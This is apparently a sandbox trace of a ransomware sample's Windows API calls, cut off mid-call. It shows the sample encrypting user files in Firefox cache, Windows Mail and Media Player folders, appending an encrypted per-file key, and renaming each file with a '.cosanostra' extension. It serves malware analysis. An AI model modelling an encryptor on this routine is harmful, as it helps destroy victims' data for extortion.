1 [0103.992] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff154, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff154*=0x2800, lpOverlapped=0x0) returned 1 [0103.992] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.992] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff194*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff154, lpOverlapped=0x0 | out: lpBuffer=0x26ff194*, lpNumberOfBytesWritten=0x26ff154*=0x4, lpOverlapped=0x0) returned 1 [0103.993] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff154, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff154*=0x30, lpOverlapped=0x0) returned 1 [0103.993] CloseHandle (hObject=0x15c) returned 1 [0103.993] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01.cosanostra") returned 120 [0103.993] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01.cosanostra")) returned 1 [0103.996] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff188 | out: pbBuffer=0x26ff188) returned 1 [0103.996] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff180*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff180*=0x30) returned 1 [0103.996] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\c3b7bd01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0103.996] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01") returned 109 [0103.996] StrStrW (lpFirst="C3B7Bd01", lpSrch=".txt") returned 0x0 [0104.040] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.040] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff144, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff144*=0x2800, lpOverlapped=0x0) returned 1 [0104.040] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.040] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff184*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff144, lpOverlapped=0x0 | out: lpBuffer=0x26ff184*, lpNumberOfBytesWritten=0x26ff144*=0x4, lpOverlapped=0x0) returned 1 [0104.040] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff144, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff144*=0x30, lpOverlapped=0x0) returned 1 [0104.041] CloseHandle (hObject=0x15c) returned 1 [0104.041] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01.cosanostra") returned 120 [0104.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\c3b7bd01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\C3B7Bd01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\c3b7bd01.cosanostra")) returned 1 [0104.042] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff188 | out: pbBuffer=0x26ff188) returned 1 [0104.042] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff180*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff180*=0x30) returned 1 [0104.042] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.042] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned 91 [0104.042] StrStrW (lpFirst="Bears.jpg", lpSrch=".txt") returned 0x0 [0104.219] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffbce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.219] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x26ff144, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff144*=0x432, lpOverlapped=0x0) returned 1 [0104.219] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.219] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff184*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff144, lpOverlapped=0x0 | out: lpBuffer=0x26ff184*, lpNumberOfBytesWritten=0x26ff144*=0x4, lpOverlapped=0x0) returned 1 [0104.219] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff144, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff144*=0x30, lpOverlapped=0x0) returned 1 [0104.220] CloseHandle (hObject=0x15c) returned 1 [0104.220] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.cosanostra") returned 102 [0104.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.cosanostra")) returned 1 [0104.221] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff180 | out: pbBuffer=0x26ff180) returned 1 [0104.221] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff178*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff178*=0x30) returned 1 [0104.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.221] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned 78 [0104.222] StrStrW (lpFirst="edb.log", lpSrch=".txt") returned 0x0 [0104.257] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.257] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff13c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff13c*=0x2800, lpOverlapped=0x0) returned 1 [0104.257] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.257] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff17c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff13c, lpOverlapped=0x0 | out: lpBuffer=0x26ff17c*, lpNumberOfBytesWritten=0x26ff13c*=0x4, lpOverlapped=0x0) returned 1 [0104.259] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff13c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff13c*=0x30, lpOverlapped=0x0) returned 1 [0104.259] CloseHandle (hObject=0x15c) returned 1 [0104.282] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.cosanostra") returned 89 [0104.282] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log.cosanostra")) returned 1 [0104.283] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff180 | out: pbBuffer=0x26ff180) returned 1 [0104.283] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff178*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff178*=0x30) returned 1 [0104.284] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0104.284] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log") returned 94 [0104.284] StrStrW (lpFirst="edb00001.log", lpSrch=".txt") returned 0x0 [0104.370] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.370] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff13c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff13c*=0x2800, lpOverlapped=0x0) returned 1 [0104.370] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.370] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff17c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff13c, lpOverlapped=0x0 | out: lpBuffer=0x26ff17c*, lpNumberOfBytesWritten=0x26ff13c*=0x4, lpOverlapped=0x0) returned 1 [0104.371] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff13c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff13c*=0x30, lpOverlapped=0x0) returned 1 [0104.372] CloseHandle (hObject=0x15c) returned 1 [0104.372] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.cosanostra") returned 105 [0104.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log.cosanostra")) returned 1 [0104.377] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff170 | out: pbBuffer=0x26ff170) returned 1 [0104.377] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff168*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff168*=0x30) returned 1 [0104.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.380] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl") returned 140 [0104.380] StrStrW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0104.382] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffce3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.382] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x31d, lpNumberOfBytesWritten=0x26ff12c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff12c*=0x31d, lpOverlapped=0x0) returned 1 [0104.382] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.382] WriteFile (in: hFile=0x180, lpBuffer=0x26ff16c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff12c, lpOverlapped=0x0 | out: lpBuffer=0x26ff16c*, lpNumberOfBytesWritten=0x26ff12c*=0x4, lpOverlapped=0x0) returned 1 [0104.382] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff12c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff12c*=0x30, lpOverlapped=0x0) returned 1 [0104.382] CloseHandle (hObject=0x180) returned 1 [0104.383] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.cosanostra") returned 151 [0104.383] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.cosanostra")) returned 1 [0104.384] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff168 | out: pbBuffer=0x26ff168) returned 1 [0104.384] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff160*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff160*=0x30) returned 1 [0104.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.385] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl") returned 138 [0104.385] StrStrW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0104.729] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffafc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.729] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x26ff124, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff124*=0x504, lpOverlapped=0x0) returned 1 [0104.729] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.729] WriteFile (in: hFile=0x180, lpBuffer=0x26ff164*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff124, lpOverlapped=0x0 | out: lpBuffer=0x26ff164*, lpNumberOfBytesWritten=0x26ff124*=0x4, lpOverlapped=0x0) returned 1 [0104.729] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff124, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff124*=0x30, lpOverlapped=0x0) returned 1 [0104.729] CloseHandle (hObject=0x180) returned 1 [0104.729] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.cosanostra") returned 149 [0104.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.cosanostra")) returned 1 [0104.730] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff168 | out: pbBuffer=0x26ff168) returned 1 [0104.730] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff160*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff160*=0x30) returned 1 [0104.730] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.731] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 135 [0104.731] StrStrW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch=".txt") returned 0x0 [0104.735] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffbec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.735] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x26ff124, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff124*=0x414, lpOverlapped=0x0) returned 1 [0104.735] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.735] WriteFile (in: hFile=0x180, lpBuffer=0x26ff164*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff124, lpOverlapped=0x0 | out: lpBuffer=0x26ff164*, lpNumberOfBytesWritten=0x26ff124*=0x4, lpOverlapped=0x0) returned 1 [0104.735] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff124, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff124*=0x30, lpOverlapped=0x0) returned 1 [0104.736] CloseHandle (hObject=0x180) returned 1 [0104.736] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.cosanostra") returned 146 [0104.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.cosanostra")) returned 1 [0104.737] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff160 | out: pbBuffer=0x26ff160) returned 1 [0104.737] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff158*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff158*=0x30) returned 1 [0104.737] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.737] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl") returned 120 [0104.737] StrStrW (lpFirst="11_All_Pictures.wpl", lpSrch=".txt") returned 0x0 [0104.738] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffdb7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.738] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x249, lpNumberOfBytesWritten=0x26ff11c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff11c*=0x249, lpOverlapped=0x0) returned 1 [0104.738] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.739] WriteFile (in: hFile=0x180, lpBuffer=0x26ff15c*, nNumberOfBytesToWrite=0x4, 